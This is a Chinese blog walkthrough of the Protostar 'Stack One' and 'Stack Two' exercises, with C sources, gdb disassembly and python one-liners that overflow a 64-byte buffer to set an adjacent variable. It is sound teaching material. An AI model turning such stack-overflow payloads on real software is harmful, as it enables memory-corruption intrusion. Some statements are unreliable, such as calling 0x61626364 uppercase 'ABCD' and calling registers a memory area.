二进制安全虚拟机Protostar靶场（2）基础知识讲解，栈溢出覆盖变量 Stack One,Stack Two

前言

Protostar靶场的安装和一些二进制安全的基础介绍在前文已经介绍过了，这里是文章链接

https://blog.csdn.net/qq_45894840/article/details/129490504?spm=1001.2014.3001.5501

什么是缓冲区溢出

当系统向缓冲区写入的数据多于它可以容纳的数据时，就会发生缓冲区溢出或缓冲区溢出，用更简单的话说就是在程序运行时，系统会为程序在内存里生成一个固定空间，如果超过了这个空间，就会造成缓冲区溢出，可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是，甚至可以取得系统特权，进而进行各种非法操作

什么是寄存器

寄存器是内存中非常靠近cpu的区域，因此可以快速访问它们，但是在这些寄存器里面能存储的东西非常有限

计算机寄存器是位于CPU内部的一组用于存储和处理数据的高速存储器。用于存放指令、数据和运算结果

常见的寄存器名称以及作用：

累加器寄存器（Accumulator Register，EAX）：用于存储操作数和运算结果，在算术和逻辑操作中经常使用。

基址指针寄存器（Base Pointer Register，EBP）：用于指向堆栈帧的基地址，通常用于函数调用和局部变量访问。

堆栈指针寄存器（Stack Pointer Register，ESP）：指向当前活动堆栈的栈顶地址，在函数调用和参数传递中经常使用。

数据寄存器（Data Register，EDX、ECX、EBX）：用于存储数据，在算术和逻辑操作中经常使用。

指令指针寄存器（Instruction Pointer Register，EIP）：存储当前要执行的指令的内存地址，用于指示下一条要执行的指令。

Stack One

程序静态分析

https://exploit.education/protostar/stack-one/

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

源代码分析

首先程序定义了两个函数变量

volatile int modified;
char buffer[64];

整数型变量 modified 和字符型变量buffer，其中字符型变量buffer的字符存储最大为64个字节

然后程序检测了我们输入的参数

if(argc == 1) {
    errx(1, "please specify an argument\n");
}

如果我们只运行程序，不输入参数就会输出please specify an argument并结束程序

之后程序定义了一个变量和进行了一个字符串复制操作

modified = 0;
strcpy(buffer, argv[1]);

modified变量为0，然后将我们输入的参数复制到buffer变量里

然后程序做了一个简单的if判断

if(modified == 0x61626364) {
    printf("you have correctly got the variable to the right value\n");
} else {
    printf("Try again, you got 0x%08x\n", modified);

如果modified变量等于0x61626364就输出you have correctly got the variable to the right value，代表着我们破解成功

0x61626364是十六进制，转换字符串是大写的ABCD

也就是说，我们使modified变量变成ABCD就成功了，但是modified变量设置为0，这里我们就需要栈溢出覆盖变量原本设置的值

汇编分析

使用gdb打开程序，输入指令查看汇编代码

set disassembly-flavor intel
disassemble main

0x08048464 <main+0>:    push   ebp
0x08048465 <main+1>:    mov    ebp,esp
0x08048467 <main+3>:    and    esp,0xfffffff0
0x0804846a <main+6>:    sub    esp,0x60
0x0804846d <main+9>:    cmp    DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>:   jne    0x8048487 <main+35>
0x08048473 <main+15>:   mov    DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>:   mov    DWORD PTR [esp],0x1
0x08048482 <main+30>:   call   0x8048388 <errx@plt>
0x08048487 <main+35>:   mov    DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>:   mov    eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>:   add    eax,0x4
0x08048495 <main+49>:   mov    eax,DWORD PTR [eax]
0x08048497 <main+51>:   mov    DWORD PTR [esp+0x4],eax
0x0804849b <main+55>:   lea    eax,[esp+0x1c]
0x0804849f <main+59>:   mov    DWORD PTR [esp],eax
0x080484a2 <main+62>:   call   0x8048368 <strcpy@plt>
0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>
0x080484b2 <main+78>:   mov    DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>:   call   0x8048398 <puts@plt>
0x080484be <main+90>:   jmp    0x80484d5 <main+113>
0x080484c0 <main+92>:   mov    edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>:   mov    eax,0x80485f3
0x080484c9 <main+101>:  mov    DWORD PTR [esp+0x4],edx
0x080484cd <main+105>:  mov    DWORD PTR [esp],eax
0x080484d0 <main+108>:  call   0x8048378 <printf@plt>
0x080484d5 <main+113>:  leave
0x080484d6 <main+114>:  ret

程序最关键的地方在这里

0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>

它使用mov指令将esp+0x5c栈内地址的值移动到eax寄存器里，然后用cmp指令将eax寄存器里的值与0x61626364做对比，如果对比的值不一样就执行jne指令跳转到0x80484c0地址继续执行其他指令

程序动态分析

我们先在程序执行对比指令的地址下一个断点

b *0x080484ab

然后设置一下自动运行我们设置的命令

define hook-stop
info registers   //显示寄存器里的地址
x/24wx $esp      //显示esp寄存器里的内容
x/2i $eip        //显示eip寄存器里的内容
end              //结束

然后执行程序，并指定参数

r AAAAAAAA

程序执行到我们设置的断点处自动执行了我们上面设置的命令，在这里可以看到我们输入的8个大写A在栈中的位置，并且eax寄存器里的值为0

之前说过，程序将esp+0x5c地址处的值移动到了eax寄存器里，然后执行对比指令

我们查看esp+0x5c地址存放的值

x/wx $esp+0x5c

esp+0x5c地址就是栈里的0xbffff78c，每一段存放四个字符，c代表的是12

从存放我们输入的值的栈地址到esp+0x5c，中间共有64个字符，也就是说，我们需要输出64个字符+4个我们指定的字符才能覆盖modified变量

在这里还有一个知识点是在x86架构里，读取是由低到高的，要使modified变量变成0x61626364，不能直接输入abcd，而是dcba

 python -c "print('A'*(4*16)+'dcba')"

成功破解了程序

Stack Two

程序静态分析

https://exploit.education/protostar/stack-two/

程序源代码：

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

这个程序代码和第一个差不多，只不过是将我们的输入变成了读取环境变量里的GREENIE变量内容

什么是环境变量

任何计算机编程语言的两个基本组成部分，变量和常量。就像数学方程式中的自变量一样。变量和常量都代表唯一的内存位置，其中包含程序在其计算中使用的数据。两者的区别在于，变量在执行过程中可能会发生变化，而常量不能重新赋值

这里只举几个常见的环境变量

$PATH

包含了一些目录列表，作用是终端会在这些目录中搜索要执行的程序

查看$PATH环境变量

echo $PATH

假如我要执行whoami程序，那么终端会在这个环境变量里搜索名为whoami程序

搜索的目录如下

/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/bin
/usr/local/games
/usr/games

而whoami程序在/usr/bin目录下，终端会执行这个目录下的whoami程序

而windows的PATH环境变量在这可以看到

$HOME

包含了当前用户的主目录

echo $HOME

$PWD

包含了当前用户目前所在的目录位置

关于环境变量的更多信息：

https://en.wikipedia.org/wiki/Environment_variable

破解程序

回到正题

variable = getenv("GREENIE");
strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

首先获取了一个名为GREENIE的环境变量，然后将内容赋予variable变量，之后if判断modified是否等于0x0d0a0d0a，这个和第一个程序一模一样，只不过我们不是通过输入来破解程序，而是将payload放到指定的环境变量里，然后程序读取环境变量

export GREENIE=$(python -c "print 'A'*(4*16)+'\x0a\x0d\x0a\x0d'"); ./stack2

直接运行就能成功破解了